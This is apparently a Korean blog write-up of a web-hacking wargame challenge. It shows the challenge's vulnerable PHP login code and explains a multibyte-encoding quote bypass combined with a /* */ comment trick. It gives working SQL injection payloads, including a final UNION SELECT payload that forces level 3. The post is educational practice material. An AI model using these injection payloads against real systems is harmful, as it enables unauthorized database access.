센터에서 공부하다가 갑자기 웹이 풀고싶어서 풀어본 문제이다.
페이로드를 찾아내고서 살짝 멘붕했었다..
일단 문제의 소스를 확인해보자.
<?
if($_GET[id] && $_GET[pw])
{
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
if(eregi("union",$_GET[id])) exit();
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if($data)
{
if($data[0]=="1") echo("level : 1<br><br>");
if($data[0]=="2") echo("level : 2<br><br>");
}
if($data[0]=="3")
{
@solve();
}
if(!$data)
{
echo("Wrong");
}
}
?>
쿼리를 날려서 lv 을 가져오고 해당 lv이 3이라면 답이 나오는 형태이다. 핵심포인트는 id부분에 걸려있는
mb_convert_encoding 즉 멀티바이트 취약점과 pw 부분에만 걸려있지 않은 union 필터링이다.
처음엔 union 부분에 대한 생각도 하지 않고 첫번째 취약점만을 이용하여 아래와 같은 페이로드를 구성했었다.
?id=gues%aa%27or%0dlv%0dlike%0d3%23&pw=aaa
id부분을 거짓으로 주고 or 로 다음 구문을 실행시키게 했다. (lv like 3 = 레벨이 3인것)
콘솔에서도 해보고 직접 구축한 사이트에서도 실행해봤었다. 전부 다 잘된다.
그런데 문제에서는 이상하게도 통하지않았다..그래서 지인들에게 힌트를 요청했다.
/* 주석이 힌트였다. 대부분의 주석은 # 을 쓰기 때문에 쉽게 생각하지 못했던 것 같다.
/* */ 주석을 통해 pw 자체를 씹어버렸고 쿼리를 날릴 때 lv 만을 가져오므로 union 구문으로 3을 넣었다.
아래는 최종 페이로드이다.
?id=guest%aa%27%2f*&pw=*%2funion%0dselect%0d3%23
'Wargame(CTF)' 카테고리의 다른 글
Webhacking.kr All Clear (4) | 2014.07.26 |
---|---|
Challenge 59 (0) | 2014.07.23 |
itchy's Funny injection 풀이 (0) | 2014.06.18 |
Challenge 13 (0) | 2014.06.15 |
Challenge 57 (0) | 2014.06.12 |